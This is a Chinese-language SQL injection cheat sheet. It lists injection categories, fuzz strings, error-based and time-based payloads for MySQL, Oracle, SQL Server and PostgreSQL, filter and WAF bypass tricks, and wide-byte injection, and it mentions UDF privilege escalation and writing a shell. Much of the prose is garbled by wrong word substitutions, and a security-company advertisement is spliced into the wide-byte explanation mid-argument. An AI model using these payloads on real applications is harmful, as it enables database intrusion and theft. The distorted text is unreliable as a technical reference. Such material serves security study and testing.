3.1 SQL注入漏洞
3.1.1. 注入分类
SQL注入是一种代码注入技能,用于攻击数据驱动的运用程序。在运用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中实行(例如将数据库内容转储给攻击者)。

3.1.1.1. 按技巧分类
根据利用的技巧,SQL注入类型可分为
盲注布尔盲注:只能从运用返回中推断语句实行后的布尔值韶光盲注:运用没有明确的回显,只能利用特定的韶光函数来判断报错注入:运用会显示全部或者部分的报错信息堆叠注入:有的运用可以加入 ; 后一次实行多条语句其他3.1.1.2. 按获取数据的办法分类
其余也可以根据获取数据的办法分为3类
inband利用Web运用来直接获取数据如报错注入都是通过站点的相应或者缺点反馈来提取数据inference通过Web的一些反响来推断数据如布尔盲注和堆叠注入也便是我们普通的盲注,通过web运用的其他改变来推断数据out of band(OOB)通过其他传输办法来得到数据,比如DNS解析协议和电子邮件3.1.2. 注入检测
3.1.2.1. 常见的注入点
GET/POST/PUT/DELETE参数X-Forwarded-For文件名3.1.2.2. Fuzz注入点
' / \"大众1/11/0and 1=1\"大众 and \公众1\"大众=\"大众1and 1=2or 1=1or 1=' and '1'='1+ - ^ % /<< >> || | & &&~!@反引号实行3.1.2.3. 测试用常量
@@version@@servername@@language@@spid3.1.2.4. 测试列数
例如 域名/index.asp?id=12+union+select+nulll,null-- ,不断增加 null 至不返回
3.1.2.5. 报错注入
select 1/0select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)aextractvalue(1, concat(0x5c,(select user())))updatexml(0x3a,concat(1,(select user())),1)exp(~(SELECT from(select user())a))ST_LatFromGeoHash((select from(select from(select user())a)b))GTID_SUBSET(version(), 1)3.1.2.5.1. 基于geometric的报错注入
GeometryCollection((select from (select from(select user())a)b))polygon((select from(select from(select user())a)b))multipoint((select from(select from(select user())a)b))multilinestring((select from(select from(select user())a)b))LINESTRING((select from(select from(select user())a)b))multipolygon((select from(select from(select user())a)b))个中须要把稳的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,详细可以参考这个 commit 95825f 。
而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。
3.1.2.6. 堆叠注入
;select 13.1.2.7. 注释符
#--+/xxx//!xxx//!50000xxx/3.1.2.8. 判断过滤规则
是否有trunc是否过滤某个字符是否过滤关键字slash和编码3.1.2.9. 获取信息
判断数据库类型and exists (select from msysobjects ) > 0 access数据库and exists (select from sysobjects ) > 0 SQLServer数据库判断数据库表and exsits (select from admin)版本、主机名、用户名、库名表和字段确定字段数(Order By Select Into)表名、列名3.1.2.10. 测试权限
文件操作
读敏感文件写shell带外通道网络要求3.1.3. 权限提升
3.1.3.1. UDF提权
UDF(User Defined Function,用户自定义函数)是MySQL供应的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。
当得到MySQL权限之后,即可通过这种办法上传自定义的扩展文件,从MySQL中实行系统命令。
3.1.4. 数据库检测
3.1.4.1. MySQL
sleep sleep(1)benchmark BENCHMARK(5000000, MD5('test'))字符串连接SELECT 'a' 'b'SELECT CONCAT('some','string')versionSELECT @@versionSELECT version()识别用函数connection_id()last_insert_id()row_count()3.1.4.2. Oracle
字符串连接'a'||'oracle' --SELECT CONCAT('some','string')versionSELECT banner FROM v$versionSELECT banner FROM v$version WHERE rownum=13.1.4.3. SQLServer
WAITFOR WAITFOR DELAY '00:00:10';SERVERNAME SELECT @@SERVERNAMEversion SELECT @@version字符串连接SELECT 'some'+'string'常量@@pack_received@@rowcount3.1.4.4. PostgreSQL
sleep pg_sleep(1)3.1.5. 绕过技巧
编码绕过大小写url编码html编码十六进制编码unicode编码注释// -- -- + -- - # // ;%00内联注释用的更多,它有一个特性 /!/ 只有MySQL能识别e.g. index.php?id=-1 /!UNION/ /!SELECT/ 1,2,3只过滤了一次时union => ununionion相同功能更换函数更换substring / mid / subascii / hex / binbenchmark / sleep变量更换user() / @@user符号和关键字and / &or / |HTTP参数HTTP参数污染id=1&id=2&id=3 根据容器不同会有不同的结果HTTP分割注入缓冲区溢出一些C措辞的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理二次注入有长度限定时,通过多句实行的方法改掉数据库该字段的长度绕过3.1.6. SQL注入小技巧
3.1.6.1. 宽字节注入
一样平常程序员用gbk编码做开拓的时候,会用 set names 'gbk' 来设定,这句话等同于
set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';
漏洞发生的缘故原由是实行了 set character_set_client = 'gbk'; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而利用gbk去解码,而mysql_real_escape是在解码前实行的。但是直接用 set names 'gbk' 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。
办理的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk') ,这里就会把编码的信息保存在和数据库的连接里面,就不会涌现这个问题了。第三种便是用pdo。如果期间想要渗透测试自己的网站安全性,可以联系专业的网站安全公司来处理办理,比如latin会弃掉无效的unicode,那么admin%32在代码里面不即是admin,在数据库比较会即是admin。